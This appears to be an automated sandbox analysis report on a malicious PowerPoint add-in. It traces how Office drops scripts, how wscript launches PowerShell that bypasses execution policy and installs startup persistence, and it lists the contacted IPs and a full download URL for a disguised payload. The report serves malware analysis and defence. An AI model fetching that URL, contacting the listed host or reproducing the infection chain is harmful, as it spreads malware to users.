Source: Yara match File source: 00000027.00000002.1046335192.0000000002A23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.00000000026FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3864, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3952, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1530596 Sample: Documentosrs.ppam Startdate: 10/10/2024 Architecture: WINDOWS Score: 100 69 Suricata IDS alerts for network traffic 2->69 71 Found malware configuration 2->71 73 Malicious sample detected (through community Yara rule) 2->73 75 14 other signatures 2->75 9 cmd.exe 1 2->9         started        11 wscript.exe 1 2->11         started        14 wscript.exe 1 2->14         started        16 2 other processes 2->16 process3 signatures4 18 POWERPNT.EXE 151 31 9->18         started        93 Suspicious powershell command line found 11->93 95 Wscript starts Powershell (via cmd or directly) 11->95 23 powershell.exe 2 11->23         started        25 powershell.exe 14->25         started        27 powershell.exe 14->27         started        29 powershell.exe 14->29         started        31 powershell.exe 16->31         started        33 powershell.exe 16->33         started        35 powershell.exe 16->35         started        process5 dnsIp6 65 dc708.4sync.com 204.155.149.130, 443, 49161 WZCOM-US United States 18->65 59 C:\Users\user\AppData\Roaming\RG.js, ASCII 18->59 dropped 77 Document exploit detected (creates forbidden files) 18->77 79 Microsoft Office drops suspicious files 18->79 37 wscript.exe 1 1 18->37         started        40 wscript.exe 23->40         started        file7 signatures8 process9 signatures10 81 Suspicious powershell command line found 37->81 83 Wscript starts Powershell (via cmd or directly) 37->83 85 Bypasses PowerShell execution policy 37->85 87 2 other signatures 37->87 42 powershell.exe 1 2 37->42         started        45 powershell.exe 7 37->45         started        49 powershell.exe 3 37->49         started        51 powershell.exe 40->51         started        53 powershell.exe 40->53         started        55 powershell.exe 40->55         started        process11 dnsIp12 89 Drops script or batch files to the startup folder 42->89 91 Creates autostart registry keys with suspicious values (likely registry only malware) 42->91 67 54.146.241.16, 49162, 49163, 5222 AMAZON-AESUS United States 45->67 61 C:\Users\user\AppData\Local\...\RRvZwfR.vbs, ASCII 45->61 dropped 57 wscript.exe 45->57         started        63 C:\Users\user\AppData\Roaming\...\RG.js, ASCII 49->63 dropped file13 signatures14 process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
54.146.241.16
 unknown United States
14618 AMAZON-AESUS true
204.155.149.130
 dc708.4sync.com United States
40824 WZCOM-US false

Contacted Domains

Name IP Active
dc708.4sync.com 204.155.149.130 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://dc708.4sync.com/download/HTECcE8I/teste.jpg?dsid=iLgBhr5m.e6fdc68815f2d2b1fee7da84fdc10bdc&sbsr=e4b3f7db0e6fd63a909a2c71eee2fb8cb29&bip=MjAxLjIwLjEyNy4xOTg&lgfp=40 false unknown